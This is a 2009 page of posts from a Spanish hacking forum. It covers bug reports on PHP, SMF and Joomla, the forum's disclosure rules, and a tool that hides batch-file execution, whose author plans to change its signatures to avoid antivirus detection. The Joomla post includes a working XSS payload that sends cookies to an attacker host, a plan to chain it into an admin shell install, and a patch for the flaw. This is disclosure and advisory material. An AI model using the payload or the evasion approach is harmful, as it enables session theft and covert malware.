elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36 37 38 39 40 41 42
341  Seguridad Informática / Nivel Web / Bug en php 5.2.9 y versiones anteriores (Path disclosure) en: 31 Mayo 2009, 08:45 am
Estaba en mi servidor local y pude percatarme de un bug bién raro.
Enciende tu servidor local y haz un nuevo directorio con cualquier nombre que contenga la letra "ñ" y pon dentro un archivo php o html con cualquier contenido.
Si lo intentas visualizar verás que php lanza un error y da el path disclosure:
Citar
Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0

Fatal error: Unknown: Failed opening required 'C:/wamp/www/portal_foro/diseño/index.php' (include_path='.;C:\php5\pear') in Unknown on line 0

Nakp me ayudó y pudo verificar que esto también funciona en servidores Linux y con casi cualquier carácter especial como por ejemplo acentos.

Esto puede dificilmente pero posible transformarse en una vulnerabilidad como por ejemplo en el mod My_Uploads de phpnuke donde se crea un nuevo directorio dependiendo del nombre de usuario, claramente esto tiene un filtro de no incluir slashses y puntos pero estos filtros no consideran carácteres especiales haciendo el directorio lo mas fiél posible al nick del usuario pero sin contar que php no está preparado para eso lanzando este tipo de errores y mostrando la ruta total del directorio dando información a un posible atacante.

Ya lo avisé.
342  Seguridad Informática / Nivel Web / Bug en SMF 1.1.8 y 1.1.9 en: 22 Mayo 2009, 06:57 am
Estaba observando que SMF ya se actualizó a la versión 1.1.9 y me dió la curiosidad de buscar mas información del porqué lo hizo.

Buscando y buscando en simplemachines me di cuenta que esta actualización era por asuntos de seguridad asi que me puse a googlear y encontré esto -->
http://www.simplemachines.org/community/index.php?topic=309741.0
"Hacked: 1.1.8 attachments / avatars still has a vulnerability"

Lo que entendí hasta la primera página era que un atacante había subido un avatar con contenido php  :rolleyes: .. no se pero ultimamente las explotaciones de bugs en SMF se explotan con un archivo adjunto a un tema o subiendo un avatar ya que su contenido no se filtra.

También pude leer el post donde se explica un poco mejor lo de la actualización y se recomienda oficialmente deshabilitar tremporalmente la subida de archivos al servidor -->
http://www.simplemachines.org/community/index.php?topic=309717.0

Citar
Following these simple instructions will make your forum invulnerable to the recent attack by uploadable avatar.

  • Se explota de la siguiente manera:
Se sube un avatar con comandos arbitrarios que puede ser una c99
Se ve la dirección index.php?action=theme;sa=pick;u=[id de tu perfil];sesc=[tu hash sesc]
y smf hará una inclusión hacia tu avatar creyendo que es un theme  :rolleyes: modificas tu theme y le das la ruta del avatar terminado en %00 o \0 que es un null byte.
http://www.simplemachines.org/community/index.php?topic=307717.msg2056804#msg2056804

Descarga la versión 1.1.9 que tiene parchado el problema -->
http://download.simplemachines.org/
343  Seguridad Informática / Nivel Web / Nimble Scanner 1.1 Beta en: 18 Mayo 2009, 01:28 am
Bueno, en tiempo que tube libre comenzé a crear un escaneador de vulnerabilidades, a diferencia de otros sistemas este es totalmente Online ya que está hecho en php, puedes resolver Reverse DNS, consultas Whois, localizar IPs, etc etc.

El sistema todavía está beta asi que no están todas las secciones terminadas, si alguien le interesa rpobar puede descargarlo:
Descargar acá

Actualmente tiene un proveedor de información de nombres de dominios, ips, etc, una consola de conexión directa para poder testear inyecciones sql en lugares incomodos como sobre una cookie, peticiones post, headers de referencia, user agent, etc etc, y también le agregué un módulo de codificaciones y decodificaciones en múltiples formatos y algoritmos para que puedas resolver tus funciones sql e inyectar directamente sobre la consola.

Por ahora la sección principal que es de escaneo no está lista xDDD pero por lo menos pueden divertirse con lo que ya tiene que aún así es super útil.

Además te lista todas las ips que resuleve un host desvelando servidores dns e incluso el hosting donde se aloja, etc.

ahi se los dejo mientras tanto que lo termino.







Nimble viene del nombre mangosta en ingles  :P
344  Seguridad Informática / Nivel Web / Reglas del subforo Bugs y Exploits a nivel WEB (Lee esto antes de postear) en: 11 Mayo 2009, 22:07 pm
Primeramente citar lo siguiente:
http://foro.elhacker.net/reglas#II.A.2

Citar
II.A.2. Datos de terceros.
II.A.2.a. Política de disclosure.

    En los foros públicos, la publicación de vulnerabilidades en sitios Web específicos, esta permitida, si y sólo si: ésta tiene un pagerank igual o superior a 4, fue publicada en otro lugar previamente, y el enlace se mantenga firme con lo estipulado en la sección II.A.2.b. En caso de que la vulnerabilidad sea de un software distribuido, se podrá describir la vulnerabilidad en el foro correspondiente. Sin embargo, en ese caso, esta prohibido colocar sitios Web vulnerables de terceros.

II.A.2.b. Manejo de enlaces.
    Solo se permite colocar hipervínculos a páginas Web a las cuales están enlazadas desde alguna parte del sitio web. Esto significa que solo se puede colocar un enlace dentro victima.com, si y solo si en victima.com ese enlace existe en algún lugar. Por lo que no se pueden colocar enlaces directos a la explotación de un XSS, SQL injection, o cualquier tipo de vulnerabilidad, o revelación de información.
    En caso de que el enlace cumpla con esta regla, además deberá estar relacionada con el tema discutido, esta prohibido dar enlaces a sitios web de "referidos", y si enlazas a una web tuya, esta deberá tener información relevante respecto al tema.

II.A.2.c. Sección de advisories.
    Existe una sección de advisories en la web (http://www.elhacker.net/advisories), esta es para que ahí se publiquen los advisories que usuarios del foro hayan publicado, sin embargo la publicación de advisories, deberá ser hecha en el foro de bugs y exploits, y sera colocada en la web a discreción del administrador.

Se agrega también que:
No hay ventas de ningún tipo!
Acá no se vende nada por lo tanto si alguien insiste en realizar una venta tenga por seguro que yo o algún moderador global tiene todo el derecho de eliminar dicho post sin aviso alguno.

Este es un lugar para compartir y aprender, no para hacerse de dinero ni pagar por el conocimiento. Si fuera por eso entonces mejor cerramos el foro y nos vamos a una universidad y no es la idea.

Resumo..
Si se pueden publicar temas que estén directamente relacionados con sistemas CMS públicos, en caso de ser privado solo se podrá publicar con el consentimiento de su creador.

También se puede publicar temas relacionados con scripts relacionados directamente como por ejemplo plugins, módulos, themes, etc.

Solamente se puede publicar temas relacionados con sitios Webs externos si existe alguna otra referencia del tema, esto es para evitar problemas legales a futuro, en caso contrario los Moderadores de este subforo o alguien con mayor nivel de acceso puede modificar o eliminar el tema sin previo aviso. De todas formas se tratará lo mayormente posible de avisar antes de realizar alguna acción siempre y cuando el impacto no sea muy alto.
Si no sabes donde publicar tu información puedes crear un blog en blogger.com o wordpress.com por ser de fácil y rápida creación obiamente rigiendo las reglas de cada sitio.

Si se pueden colocar enlaces directos como prueba de concepto solo si ha sido publicado su referencia externa o si es con la aprobación del dueño del sitio o sistema afectado. En este caso puedes crear tu laboratorio o script de ejemplo dentro de tu web y publicar su prueba si lo deseas ya que tu mismo serías el propietario y fuente.

La publicación de herramientas debe ser explicativa y con mayor razon si no es de tu propiedad, en caso contrario será considerado "SPAM" (Esto es para evitar los post donde solo se publica el enlace y nada mas).

El enlace de fuente debe explicar el contenido de lo comentado. No se puede poner un enlace donde aparezca un par de dias y despues quede en otro lugar, lo correcto es poner el enlace de la noticia directa y no de la portada por ejemplo a emnos que la noticia permanezca ahi siempre.

Post que pregunten sobre como iniciar en la seguridad a nivel WEB
Ya existe un post hecho para la gente que quiere aprender sobre como iniciarse en la seguridad a nivel WEB:
http://foro.elhacker.net/nivel_web/iquestcomo_iniciarse_en_la_seguridad_web-t279791.0.html
Por lo tanto si alguien llega preguntando lo mismo "¿Como puedo iniciarme?" o "Como empiezo a aprender", etc etc serán eliminados sin previo aviso. Si alguien tiene dudas al respecto de sus mismos inicios en el tema puede hacer sus preguntas en ese mismo tema mensionado anteriormente.

Cualquier cambio a estas reglas no se efectuará necesariamente con su aviso anticipado. Cualquier moderador local o global puede hacer cualquier tipo de modificación al respecto.

Las reglas pueden ser evadidas siempre y cuando sea con el consentimiento del Administrador del foro unicamente.
345  Programación / Ingeniería Inversa / Agregar mas carácteres de los declarados en un binario en: 8 Mayo 2009, 08:43 am
Hola, estaba intentando editar un stub ya compilado donde tengo como flag el string "{script}" el cual es de 8 carácteres. esto queda impreso en el programa y no me cuesta editarlo desde un editor hexadecimal pero si intento agregarle uno mas como por ejemplo 9 entonces el ejecutable se corrompe.

He visto que el reshack puede modificar recursos, carácteres y cosas sin iomportar su longitud asi que supuse que de alguna forma hexadecimalmente también debía poderse pero no se como.

La idea es implementar esto en la edición del stub en un editor gráfico para el proyecto BHC.

si alguien sabe le agraderecía muchisimo que me expicara ya que busqué en otros lados pero no pude encontrar infromación al respecto.
346  Programación / Programación Visual Basic / Error con los scrollbars de RichTextBox en: 5 Mayo 2009, 02:23 am
Hola, estaba en un proyecto para poder colorear códigos en un richtextbox con el formato rtf,.. ahora el problema es que como se trata de códigos es necesario que no se interrumpa la linea cuando llego a un extremo y para eso declaro igual que en un textbos un scrollbar "both" pero solamente me lo agrega de forma vertical y no horizontal y cuando llego al final me corta lanzando un retorno, alguien sabe porque pasa esto o como forzar el control para que si lo haga?

El problema está acá:
https://foro.elhacker.net/analisis_y_diseno_de_malware/bhc_batch_hide_compiler_20_by_whk_proyecto_para_abril_negro-t253872.0.html;msg1228968#msg1228968


y extrañamente no puedo agregar el scrollbar hacia el costado  :huh:
ya busqué por google, el foro, por msn, etc etc y lo unico que encontré fue que para .net ese control tenía un bug y al parecer era ese pero no estoy seguro.
347  Seguridad Informática / Abril negro / BHC (Batch Hide Compiler 2.2) by WHK [Proyecto para abril Negro] en: 4 Mayo 2009, 04:48 am
Batch Hide Compiler



BHC ejecutable Descargar acá

Para las personas que deseen saber como funciona pueden descargar el código fuente  :D
Descargar código fuente BHC 2.0 acá

si van a modificar algo por favor en lo posible dar créditos o mostrar que por lo menos lo sacaron de acá, el resto pueden hacer lo que quieran con el código. Para futuras actualizaciones no incluiré la fuente para evitar el copy/paste.

Bueno, después de mucho tiempo con el antiguo proyecto BHC 1.2
http://foro.elhacker.net/hacking_basico/escondiendo_tus_batch-t163674.0.html
he lanzado por fin la versión 2.0  :D creado desde cero sin tomar nada del antiguo proyecto aunque la práctica es similar.

¿De que se trata?
Es un IDE para la edición de archivos Bat, o sea un editor gráfico, pero cual es la diferencia entre otros editores?

  • Genera Ejecutables! y su ejecución no se ve en lo absoluto evadiendo que aparezca esa ventana de MSdos.
  • Opción de darle el ícono que desees al ejecutable final.
  • Compresión del archivo final en UPX (Opcional).
  • Opcionalmente puedes hacer que el ejecutable lanze un mensaje de error al ejecutarse.
  • Portable.
  • Puedes editar, agregar y eliminar las funciones rápidas que aparecen en el menú muy fácilmente ya que el sistema carga los scripts desde archivos de texto *.txt. Dentro del directorio "Scripts" hay un texto muy explicativo para hacer los cambios tal cual aparece en el video.
  • Puedes editar cada opción del BHC y no necesitas reescribirlas cada ves que lo ejecutes ya que tiene soporte de configuración portable en un archivo .ini
  • Contiene una sección que se conecta directamente con el foro para ofrecerte una documentación adecuada sobre este tipo de lenguaje.
  • No necesitas reiniciar el programa para recargar Scripts.
  • Soporte para Multi-Instance.
  • Stub compatible con cualquier editor que soporte el sistema de inyección BHC.


Capturas









Cambios
2.1
  • Soporte Highlighting para el editor.
  • Stub mas liviano.
  • Las dependencias ya no van en el directorio principal del programa sino en el directorio "dependencias"
  • Instalador actualizado, si no tienes alguna librería o te falta la reparación del ieframe solamente le haces doble click al bat llamado "install.bat" y con eso no deberías tener ningún problema ni la necesidad de bajar nada ya que todo viene incluido.
  • El area de los scripts rápidos fue ampliada.


2.2
  • Ahora contiene soporte para Scripts diseñados en Bat, javascript y VBScript
  • SemiTransparencias en ventanas.
  • Modo gráfico compatible con computadores de bajos recursos ya que puedes editar su diseño hasta dejarlo en modo clásico.
  • Cambios en la estructuración del Stub, ahora los datos se inyectan via cifrado RC4 con una llave al azar de 32 bites.













Sistema de inyección sobre el stub
El sistema de inyección consiste en que el stub.dll es el stub.exe y cuando este se ejecuta hace lo siguiente:


El dia en que un antivirus lo detecte simplemente modificaré el valor de la firma y lanzaré la actualización del stub.dll y daré dos valores que son las dos firmas que ustedes deben ingresar en el BHC donde dice "Firma de estracción del bat" y "Firma del MessageBoxA".

El mensaje de alerta puede ser opcional, en ese caso no es necesario incluir el mensaje ni la firma pero si debes mantener el mismo orden, o sea.. no puedes inyectar el bat y despues el mensaje de alerta.


También puedes crear tus propias versiones de BHC como si se tratase de un distriro  :P ya que puedes dar el sistema con un listado de scripts que tu desees y con las configuraciones que tu desees en el bhc.ini, además puedes cambiarle el diseño con una mascara de "Actskin 4" y ponersela reemplazando el archivo "bhc_dtskn.dll" por tu mascara.
Si modificas algo te pediría que por favor no ocultes la sección de "acerca de.." ni sus enlaces al foro.


Video de youtube:


Video en tamaño original acá

PD: Gracias a Shell-Killer por el diseño del Splash de la versión 2.0
348  Programación / PHP / Decodificar fecha en dateformat de excel [Solucionado] en: 28 Abril 2009, 02:53 am
Tengo un pequeño problema y es que tengo un valor de una fecha: "39818" que significa "2009-01-05" y necesitaba hacer la función que hiciera el calculo pero ando un poco perdido.. estuve buscando información acá:
http://support.microsoft.com/kb/214094
Citar
Excel almacena todas las fechas como enteros y todas las horas como fracciones decimales. Con este sistema, Excel puede sumar, restar o comparar fechas y horas como cualquier otro número, y todas las fechas se manipulan utilizando este sistema.

En este sistema, el número de serie 1 representa 1/1/1900 12:00:00 a.m. Las horas se almacenan como números decimales entre ,0 y ,99999, donde ,0 es 00:00:00 y ,99999 es 23:59:59. Los enteros de fecha y las fracciones decimales de hora pueden combinarse para crear números que tengan una parte decimal y una parte entera. Por ejemplo, el número 32331,06 representa la fecha 7/7/1988 y la hora 1:26:24 a.m.

Ahora no se como podría calcular las fechas para ir corriendo dia, mes y año según el número que me arroja el excel. Este problema lo tube al importar archivos con el formato de la fecha cambiado y debo compatibilizarlo.

Lo otro sería pasar de ese formato a getmicrotime() y de ahi convertir a date() pero no se cual sería la equivalencia, al parecer los decimales debo convertirlos en entro pero no estoy seguro.. mientras tanto que hago pruebas y comparar fechas con ambos formatos espero que alguien me pueda dar una orientación.

Si lo resuelvo antes igual lo dejaré posteado.

Gracias.
349  Seguridad Informática / Nivel Web / Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell] en: 26 Abril 2009, 01:34 am
bueno, este tema es la continuación de:

Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html



Creación insegura de usuarios

Si se han fijado, la sección de creación de usuarios en joomla no contiene ningún sistema de proteción contra la automatización como por ejemplo una captcha o algún sistema audiovisual que por lo menos le haga la vida un poco mas dificil al atacante. Con esto podemos crear usuarios sin la necesidad de pedirle permiso a nadie ni de utilizar el mismo explorador.

Tampoco te limita la cantidad de usuarios creados por ip asi que no puede ser mas fácil crear remotamente un usuario desde un script en perl o cpp.

Una generación de usuarios en masa podría causar la inestabilidad del sistema.

el uso de esta vulnerabilidad puede ser aprobechada por la siguiente:


Vulnerabilidad de tipo XSS en el componente "User" del panel de Administración

Vamos a este enlace:
http://127.0.0.1/joomla/index.php?option=com_user&task=register
Obiamente reemplazando localhost por el servidor a auditar mas la ruta.

En nombre de usuario le podemos insertar código HTML pero hay un pequeño filtro que impide insertar carácteres como "<" pero nada mas, asi que podríamos insertar muy fácilmente una comilla doble para escapar del input y comenzar a insertar el código html.
Ejemplo:
nombre" onclick="document.location='http://www.atacante.com/?cookies.php?cookies='+document.cookie" x="

No pude poner un onload() porque el explorador solamente lo interpreta desde <body> y no desde <input>, de ahi ya viene la imaginación de cada uno.. se ponen un nick super feo y le dicen al admin que si puede cambiarlo por ti y ya con eso cuando le haga click se estará ejecutando el xss con su sesión logueada y el script que recepcionaría la cookie tendría la misma instrucción que el post anterior donde se demostraba la instalación remota de una shell como si fuera módulo:
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html;msg1201898#msg1201898
VIDEO


Ahora esta vulnerabilidad también se puede aprovechar con la vulnerabilidad anterior de la creación arbitraria de usuarios haciendo que cuando el atacado vea un sitio web con un iframe de 1 x 1 pixel se redireccione al script en php donde hará la creación del usuario arbitrariamente con el nombre de usuario con código html y posteriormente procederá a la redireccion para su ejecución y posterior instalación de la shell.



esto lo encontré en el archivo:
/administrator/components/com_users/views/user/tmpl/form.php
pero me puse a buscar criterios y pude ver que eran bastantes mas.
Quieren ver a cuantos archivos le afecta esto?:


A 10 archivos en mas de 40 ocasiones incluyendo el theme beez de las abejas.
Esto podría extenderse a todos los themes que se han hechos para joomla y obiamente no pueden repararse todos al 100% asi que la solución mas viable sería devolver los datos ya filtrados en htmlspecialchars aunque eto interrumpiría en algunas funciones personalizadas ya que el valor dejaría de ser fiel al que está en la base de datos.

Hasta ahora no lo he publicando en ningún lado asi que obiamente no está parchado pero pueden hacerlo ustedes mismos y buscar donde diga:
<?php echo $this->user->get('lo_que_sea') ...
lo reemplazan por:
<?php echo htmlspecialchars($this->user->get('lo_que_sea'), ENT_QUOTES) ...

En mi caso aprobeché de optimizar un poco el código agregando cada input a mostrar dentro de un array y no escribir uno por uno como lo hace joomla ahorrando la carga del texto en memoria aunque esto igual sería reemplazado pro el proceso en php pero a la ves se ve mas limpio y modificable:

Código
  1. <form action="index.php" method="post" name="adminForm" autocomplete="off">
  2. <div class="col width-45">
  3. <fieldset class="adminform">
  4. <legend><?php echo JText::_( 'User Details' ); ?></legend>
  5. <table class="admintable" cellspacing="1">
  6. <?php /* Modificaciones */
  7. $datos_input[] = array('titulo' => 'Nombre completo', 'id' => 'name');
  8. $datos_input[] = array('titulo' => 'Nick', 'id' => 'username');
  9. $datos_input[] = array('titulo' => 'Apellido paterno', 'id' => 'apellidopaterno');
  10. $datos_input[] = array('titulo' => 'Apellido materno', 'id' => 'apellidomaterno');
  11. $datos_input[] = array('titulo' => 'Correo personal', 'id' => 'email');
  12. $datos_input[] = array('titulo' => 'Correo de empresa', 'id' => 'correodeempresa');
  13. $datos_input[] = array('titulo' => 'Fecha de nacimiento', 'id' => 'fechanacimiento');
  14. $datos_input[] = array('titulo' => 'Fecha de contrato', 'id' => 'fechacontrato');
  15. $datos_input[] = array('titulo' => 'Cargo', 'id' => 'cargo');
  16. $datos_input[] = array('titulo' => 'Estado civil', 'id' => 'estadocivil');
  17. $datos_input[] = array('titulo' => 'Cantidad de cargas', 'id' => 'cantidaddecargas');
  18. $datos_input[] = array('titulo' => 'Tel&eacute;fono empresa', 'id' => 'telefonoempresa');
  19. $datos_input[] = array('titulo' => 'Tel&eacute;fono particular', 'id' => 'telefonoparticular');
  20. $datos_input[] = array('titulo' => 'Domicilio', 'id' => 'domicilio');
  21. $datos_input[] = array('titulo' => 'Comuna', 'id' => 'comuna');
  22. $datos_input[] = array('titulo' => 'Ciudad', 'id' => 'ciudad');
  23.  
  24. foreach($datos_input as $fila){
  25. echo '
  26. <tr><td class="key">'.htmlspecialchars($fila['titulo'], ENT_QUOTES).'</td>
  27. <td><input size="40" type="text" name="'.htmlspecialchars($fila['id'], ENT_QUOTES).'" value="'.htmlspecialchars($this->user->get($fila['id']), ENT_QUOTES).'" /></td>
  28. </tr>
  29. ';
  30. }
  31. ?>

antes del input del password.
PD: esto fue una modificación que tube que hacer para un trabajo pero obiamente ustedes también pueden adaptarlo o cuear un mod totalmente nuevo para que la gente se registre.
350  Programación / Programación Visual Basic / El Label no se sobrepone al UserControl en: 19 Abril 2009, 08:13 am
Hola, tengo un pequeño problema,
_hize un control de diseño y este no se sobrepone a un label asi que intenté crear otro control con un label nuevo que se comportara exatamente igual pero quería hacerlo transparente para que pudiera verse como un label cualquiera, al hacerlo solo pude poner transparente el control pero no el label o si no desaparece y si pongo transparente el label y no el control se ve normal... alguien sabe como hacer que todo se vea transparente menos las letras?

También lo intenté con una caja de texto ya que este tiene un manejador de objeto asociado pero el Getwindowa no me modifica la transparencia, debe ser porque no se interpreta en los controles de usuario o que se yo.

alguien puede darme una mano?

La idea principal era crear enlaces estilo web donde uno pueda hacer click en el label para hacer ciertas acciones ya que es un menú lateral y no se vería muy bién con un botón.

Gracias.
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines